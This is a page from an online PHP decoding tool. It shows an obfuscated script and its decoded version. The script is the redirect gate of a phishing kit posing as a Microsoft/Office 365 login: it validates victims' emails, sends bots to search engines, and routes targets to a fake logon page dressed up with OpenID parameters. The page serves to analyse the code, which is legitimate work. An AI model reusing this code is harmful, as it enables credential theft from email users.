Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x68\x6a\x78h\x76vr"]="\x44\x6f\x6d\x61\x69\x6e";${"\x47\..
Decoded Output download
<? ${"GLOBALS"}["shjxhvvr"]="Domain";${"GLOBALS"}["sokyjiwi"]="UserName";${"GLOBALS"}["pyqffjxk"]="parts";${"GLOBALS"}["qhoheafbuxpo"]="random";${"GLOBALS"}["btyxirc"]="email";${"GLOBALS"}["kmskbqetre"]="user";${"GLOBALS"}["mctjdyisnjl"]="Get_Email";${"GLOBALS"}["gidoyu"]="EdeStr";${"GLOBALS"}["ygrqhwwc"]="date";if(!isset($_SESSION)){session_start();}date_default_timezone_set("Europe/London");${${"GLOBALS"}["ygrqhwwc"]}=date("d M Y, G:i A");$srtllkasg="NoneStr";$krpylr="EdeStr";$xjrnztr="NoneStr";${$krpylr}=strtotime("December 31, 2023, 01:30");${$xjrnztr}=strtotime(date("F d, Y, h:i A"));if(${${"GLOBALS"}["gidoyu"]}<=${$srtllkasg}){header("Location: https://www.google.de");exit();}if(isset($_SESSION["Complete"])){header("Location: https://outlook.live.com/owa/");exit();}else{if(isset($_GET["email"])){${${"GLOBALS"}["mctjdyisnjl"]}=strtolower($_GET["email"]);if(!filter_var(${${"GLOBALS"}["mctjdyisnjl"]},FILTER_VALIDATE_EMAIL)){header("Location: https://onedrive.live.com/about/en-us/plans/");exit();}else{function domain_exists($email,$record="MX"){$jlclmpig="domain";${"GLOBALS"}["vqwwev"]="record";${"GLOBALS"}["htmpuwitl"]="domain";list(${${"GLOBALS"}["kmskbqetre"]},${${"GLOBALS"}["htmpuwitl"]})=explode("@",${${"GLOBALS"}["btyxirc"]});return checkdnsrr(${$jlclmpig},${${"GLOBALS"}["vqwwev"]});}if(domain_exists(${${"GLOBALS"}["mctjdyisnjl"]})){$yurpsvfmr="random";$_SESSION["Logon"]="Yes";${"GLOBALS"}["yrbwfqejx"]="Domain";$vrmduqncjx="dst";${$yurpsvfmr}=rand(50000,100000000000);$pipjplstyfa="Get_Email";${$vrmduqncjx}=substr(md5(${${"GLOBALS"}["qhoheafbuxpo"]}),0,1000000000);$azmyjt="UserName";${${"GLOBALS"}["pyqffjxk"]}=explode("@",${$pipjplstyfa});$yvtyjuvo="Domain";${"GLOBALS"}["yefobccj"]="Get_Email";${$azmyjt}=${${"GLOBALS"}["pyqffjxk"]}[0];${$yvtyjuvo}=${${"GLOBALS"}["pyqffjxk"]}[1];$_SESSION["Site"]="https://$Domain";$_SESSION["Email"]=${${"GLOBALS"}["yefobccj"]};$_SESSION["UserName"]=${${"GLOBALS"}["sokyjiwi"]};$_SESSION["Domain"]=${${"GLOBALS"}["shjxhvvr"]};$_SESSION["CAPSDOMAIN"]=ucfirst(${${"GLOBALS"}["yrbwfqejx"]});header("Location: ./logon.php?=https://www.$Domain&$dst&&client_id=4345a7b9-9a63-4910-a426-35363201d503&response_mode=form_post&response_type=code+id_token&scope=openid+profile&state=OpenIdConnect.AuthenticationProperties%3donpDpYbVA9UXVeosIVrA2-DRa_7W9BcPErYg_pHkzLEm2C1CXJyT7zl-TTnGm7GUwNa28IqVdMPLDfTu22Vkx9jLw7ulhKTeOy8b3tB1XrriWmPomqxiCJyQbvHmEDVD&nonce=636905940261455591.NGY1NDc0NjYtYTUyNi00NzQ5LWE0NTEtMzY4ZTkxMjBlOTc1MGJlMDllZmQtODE0Ni00N2U2LWI2MjctZjYyYzcxODY2ZmM3&redirect_uri=https%3a%2f%2fwww.office.com%2f&ui_locales=en-US&mkt=en-US&client-request-id=dbf14819-814f-4fc4-b446-9ee8f4d1cdc6$random");exit();}else{header("Location: https://ask.com");}}}else{header("Location: https://bing.com");exit();}} ?>
Did this file decode correctly?
Original Code
${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x68\x6a\x78h\x76vr"]="\x44\x6f\x6d\x61\x69\x6e";${"\x47\x4cOB\x41\x4c\x53"}["s\x6fk\x79j\x69\x77\x69"]="U\x73erNam\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x70y\x71\x66\x66\x6axk"]="\x70\x61r\x74\x73";${"G\x4cOB\x41LS"}["\x71\x68o\x68\x65af\x62\x75\x78po"]="\x72\x61\x6edom";${"\x47\x4c\x4f\x42AL\x53"}["\x62\x74y\x78\x69\x72\x63"]="\x65m\x61i\x6c";${"\x47LO\x42\x41\x4cS"}["\x6bms\x6b\x62q\x65\x74\x72\x65"]="\x75\x73er";${"\x47LOB\x41L\x53"}["\x6dc\x74jd\x79i\x73n\x6al"]="\x47e\x74\x5f\x45\x6d\x61\x69\x6c";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67\x69\x64\x6f\x79\x75"]="Ed\x65\x53tr";${"\x47\x4c\x4fBA\x4c\x53"}["yg\x72qh\x77\x77\x63"]="d\x61te";if(!isset($_SESSION)){session_start();}date_default_timezone_set("E\x75r\x6fp\x65/Lo\x6e\x64\x6f\x6e");${${"\x47\x4c\x4fB\x41L\x53"}["\x79\x67\x72\x71\x68w\x77\x63"]}=date("d\x20M\x20\x59,\x20\x47:i \x41");$srtllkasg="\x4e\x6f\x6e\x65\x53\x74\x72";$krpylr="E\x64\x65\x53\x74r";$xjrnztr="\x4eo\x6e\x65\x53t\x72";${$krpylr}=strtotime("\x44e\x63\x65\x6d\x62\x65\x72 \x33\x31, \x32\x30\x32\x33, \x301:\x330");${$xjrnztr}=strtotime(date("\x46 d,\x20\x59, \x68:i A"));if(${${"G\x4cO\x42A\x4cS"}["g\x69\x64\x6fy\x75"]}<=${$srtllkasg}){header("Loc\x61t\x69on: h\x74\x74p\x73://\x77\x77\x77\x2e\x67\x6fogl\x65\x2ed\x65");exit();}if(isset($_SESSION["Co\x6dple\x74e"])){header("\x4coc\x61tio\x6e:\x20ht\x74ps://ou\x74l\x6f\x6f\x6b.\x6c\x69ve.\x63\x6f\x6d/\x6fw\x61/");exit();}else{if(isset($_GET["\x65m\x61il"])){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x63\x74j\x64y\x69\x73njl"]}=strtolower($_GET["ema\x69l"]);if(!filter_var(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x63tj\x64\x79i\x73\x6ej\x6c"]},FILTER_VALIDATE_EMAIL)){header("L\x6fca\x74\x69\x6fn:\x20\x68\x74tps://\x6f\x6e\x65\x64\x72i\x76e.\x6ci\x76\x65.\x63\x6fm/a\x62\x6f\x75t/en-\x75\x73/\x70\x6c\x61\x6es/");exit();}else{function domain_exists($email,$record="\x4dX"){$jlclmpig="do\x6dain";${"\x47L\x4f\x42\x41L\x53"}["\x76\x71\x77\x77e\x76"]="\x72\x65c\x6fr\x64";${"\x47LO\x42\x41\x4c\x53"}["\x68\x74\x6dp\x75wi\x74\x6c"]="\x64\x6fmai\x6e";list(${${"G\x4cO\x42\x41\x4c\x53"}["km\x73kb\x71\x65t\x72\x65"]},${${"GLO\x42\x41\x4c\x53"}["ht\x6dp\x75\x77\x69\x74\x6c"]})=explode("@",${${"\x47\x4cO\x42A\x4cS"}["\x62\x74\x79x\x69r\x63"]});return checkdnsrr(${$jlclmpig},${${"\x47\x4c\x4f\x42\x41LS"}["\x76\x71\x77\x77ev"]});}if(domain_exists(${${"\x47\x4c\x4f\x42AL\x53"}["\x6d\x63\x74\x6ad\x79\x69s\x6e\x6al"]})){$yurpsvfmr="\x72\x61\x6e\x64\x6f\x6d";$_SESSION["\x4c\x6f\x67on"]="\x59es";${"GLOB\x41\x4cS"}["yrbw\x66q\x65\x6a\x78"]="\x44\x6fm\x61\x69\x6e";$vrmduqncjx="\x64\x73\x74";${$yurpsvfmr}=rand(50000,100000000000);$pipjplstyfa="G\x65t\x5f\x45\x6d\x61\x69\x6c";${$vrmduqncjx}=substr(md5(${${"\x47\x4c\x4f\x42\x41\x4cS"}["q\x68o\x68\x65\x61\x66\x62u\x78\x70\x6f"]}),0,1000000000);$azmyjt="U\x73\x65rNa\x6d\x65";${${"\x47L\x4fB\x41\x4cS"}["\x70\x79\x71f\x66\x6a\x78\x6b"]}=explode("@",${$pipjplstyfa});$yvtyjuvo="\x44\x6f\x6dai\x6e";${"\x47\x4cO\x42\x41\x4cS"}["yef\x6f\x62cc\x6a"]="\x47\x65\x74_\x45\x6d\x61\x69l";${$azmyjt}=${${"\x47L\x4f\x42A\x4c\x53"}["p\x79q\x66f\x6a\x78k"]}[0];${$yvtyjuvo}=${${"\x47LO\x42\x41\x4cS"}["\x70\x79\x71\x66\x66\x6a\x78\x6b"]}[1];$_SESSION["\x53i\x74\x65"]="\x68t\x74\x70\x73://$Domain";$_SESSION["E\x6da\x69\x6c"]=${${"\x47L\x4fB\x41\x4c\x53"}["\x79\x65\x66\x6fb\x63\x63\x6a"]};$_SESSION["Us\x65r\x4eam\x65"]=${${"G\x4cO\x42\x41L\x53"}["\x73\x6f\x6b\x79\x6a\x69\x77\x69"]};$_SESSION["\x44om\x61in"]=${${"G\x4c\x4f\x42\x41L\x53"}["s\x68\x6a\x78\x68\x76v\x72"]};$_SESSION["CAPS\x44\x4f\x4d\x41I\x4e"]=ucfirst(${${"\x47L\x4fB\x41\x4cS"}["\x79\x72\x62\x77f\x71e\x6ax"]});header("Loc\x61\x74\x69\x6fn: \x2e/\x6cog\x6f\x6e\x2e\x70h\x70?=ht\x74ps://ww\x77\x2e$Domain\x26$dst&\x26cl\x69\x65nt\x5f\x69\x64\x3d434\x35\x61\x37\x62\x39-\x39\x61\x36\x33-4\x3910-\x61426-353\x36\x33\x320\x31d50\x33\x26\x72es\x70\x6fnse_\x6do\x64\x65\x3d\x66orm\x5f\x70ost\x26respo\x6e\x73\x65\x5f\x74\x79\x70\x65\x3dc\x6fde+\x69\x64_t\x6f\x6b\x65n&\x73cope\x3do\x70e\x6e\x69\x64+p\x72\x6ffile&st\x61t\x65=OpenId\x43onn\x65\x63t.\x41u\x74h\x65n\x74\x69c\x61\x74\x69\x6f\x6ePr\x6f\x70\x65\x72\x74\x69\x65s%\x33\x64\x6fnp\x44\x70Y\x62V\x41\x39UXVe\x6f\x73\x49Vr\x41\x32-\x44Ra\x5f\x37\x57\x39\x42\x63\x50\x45rYg_pHkzL\x45\x6d\x32C\x31\x43\x58\x4a\x79T7\x7al-\x54\x54n\x47\x6d7\x47Uw\x4ea\x328\x49qVdMP\x4cD\x66T\x7522V\x6bx\x39\x6aL\x777ulhK\x54e\x4f\x79\x38\x623\x74\x421X\x72r\x69\x57\x6dP\x6fm\x71xi\x43\x4a\x79\x51\x62vHmE\x44V\x44&\x6eonce\x3d\x363690\x35940\x32\x361\x34\x35\x35\x359\x31.N\x47Y1\x4e\x44\x630\x4e\x6a\x59\x74YT\x55\x79\x4ei00\x4e\x7a\x515\x4c\x57E\x30\x4e\x54EtMzY\x34\x5aT\x6bxM\x6aBlO\x54\x631MG\x4alMDll\x5a\x6d\x51t\x4f\x44\x450\x4e\x6900\x4e2\x55\x32L\x57\x49\x32Mjc\x74\x5a\x6aYy\x59\x7acxOD\x592\x5a\x6dM3&\x72\x65d\x69\x72e\x63\x74\x5f\x75\x72i=h\x74\x74\x70\x73\x25\x33\x61\x25\x32f%\x32\x66www.o\x66fi\x63e.\x63om%\x32\x66&\x75\x69\x5fl\x6fc\x61les=\x65\x6e-\x55\x53\x26m\x6bt=\x65\x6e-\x55S&\x63\x6ci\x65\x6e\x74-r\x65que\x73t-\x69d\x3ddb\x66\x314819-81\x34\x66-4f\x63\x34-b\x34\x34\x36-9e\x65\x38f4\x64\x31\x63\x64c6$random");exit();}else{header("Lo\x63\x61t\x69\x6fn: ht\x74ps://\x61sk\x2e\x63\x6fm");}}}else{header("L\x6f\x63\x61t\x69\x6f\x6e: http\x73://b\x69ng.\x63om");exit();}}
Function Calls
session_start | 1 |
date_default_timezone_set | 1 |
Stats
MD5 | 20e5c957861e0e5416de03910ac4defa |
Eval Count | 0 |
Decode Time | 93 ms |